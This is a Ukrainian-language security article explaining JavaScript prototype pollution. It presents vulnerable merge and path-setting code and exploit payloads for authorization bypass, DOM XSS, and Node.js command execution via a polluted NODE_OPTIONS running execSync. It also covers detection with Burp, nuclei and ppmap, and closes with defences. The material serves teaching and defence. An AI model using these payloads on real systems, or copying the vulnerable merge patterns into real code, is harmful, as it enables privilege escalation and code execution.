Research / Prototype Pollution: отруєння прототипів JavaScript
RESEARCH
UA EN

Prototype Pollution: отруєння прототипів JavaScript

✍ admin 📅 05.06.2026 👁 111

Що таке Prototype Pollution

У JavaScript кожен об'єкт має прототип — батьківський об'єкт з якого він успадковує методи і властивості. Кореневим прототипом всіх об'єктів є Object.prototype.

const obj = {};
obj.__proto__ === Object.prototype;  // true
obj.hasOwnProperty === Object.prototype.hasOwnProperty;  // true

Prototype Pollution — вразливість при якій атакуючий може додати або змінити властивості Object.prototype, і це вплине на всі об'єкти в додатку.


Механізм вразливості

Вразливість виникає коли код рекурсивно копіює властивості об'єкта без перевірки ключів __proto__, constructor, prototype.

Вразливий merge

function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);  // рекурсія без перевірки key
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Атакуючий передає:
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// Тепер:
const victim = {};
victim.isAdmin;  // true — навіть без явного присвоєння!

Де виникає

Query string парсинг (qs бібліотека)

const qs = require('qs');
// URL: ?__proto__[isAdmin]=true
const parsed = qs.parse(req.query);
// Object.prototype.isAdmin === 'true'

JSON merge / deep clone

// Популярні вразливі патерни в lodash < 4.17.12
_.merge({}, JSON.parse(userInput));
_.defaultsDeep({}, JSON.parse(userInput));

JSON.parse з динамічним присвоєнням

function setPath(obj, path, value) {
    const keys = path.split('.');
    let cur = obj;
    for (let i = 0; i < keys.length - 1; i++) {
        cur = cur[keys[i]] = cur[keys[i]] || {};
    }
    cur[keys[keys.length - 1]] = value;
}

// Атака: path = "__proto__.isAdmin", value = true
setPath({}, "__proto__.isAdmin", true);
({}).isAdmin;  // true

Exploit: обхід авторизації

// Вразливий код сервера
app.post('/merge-settings', (req, res) => {
    merge(userSettings, req.body);
    res.json({ ok: true });
});

// Перевірка прав
app.get('/admin', (req, res) => {
    if (req.user.isAdmin) {          // всі об'єкти тепер мають isAdmin!
        res.send('Admin panel');
    }
});

// Атака:
// POST /merge-settings
// {"__proto__": {"isAdmin": true}}
// Тепер GET /admin доступний будь-якому користувачу

Exploit: XSS через забруднення DOM

// Вразливий клієнтський код
function renderMessage(msg) {
    const div = document.createElement('div');
    Object.assign(div, msg);        // merge властивостей
    document.body.appendChild(div);
}

// Атака через URL параметр:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
    setPath(config, k, v);           // вразливий setPath
});

renderMessage({});  // innerHTML вже забруднений → XSS

Exploit: RCE в Node.js (child_process)

// Деякі модулі Node.js читають опції з об'єктів які успадковують прототип
const { execSync } = require('child_process');

// Після забруднення:
// {"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:9229"}}

// Або більш прямолінійно через env:
// {"__proto__": {"env": {"NODE_OPTIONS": "-e require('child_process').execSync('id>/tmp/pwned')"}}}

// Деякі версії webpack/gulp виконують команди з прототипу

Виявлення

Ручне (Burp)

POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {"testPolluted": "yes"}}

# Потім перевірити:
GET /api/debug
# або будь-який ендпоінт де є {}
# якщо бачимо "testPolluted": "yes" - є вразливість

Автоматичне

# nuclei
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml

# ppmap — спеціалізований інструмент
node ppmap.js --target https://target.com

Захист

// 1. Object.freeze прототипу (ядерний варіант)
Object.freeze(Object.prototype);

// 2. Перевірка ключів при merge
function safeMerge(target, source) {
    for (let key of Object.keys(source)) {  // Object.keys, не for..in
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;  // пропустити небезпечні ключі
        }
        // ...
    }
}

// 3. Використовувати Map замість plain object для користувацьких даних
const store = new Map();  // Map не має прототипу з Object.prototype

// 4. Object.create(null) — об'єкт без прототипу
const safeObj = Object.create(null);

// 5. Оновити lodash до 4.17.21+
// 6. JSON Schema валідація вхідних даних

Корисні посилання

Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?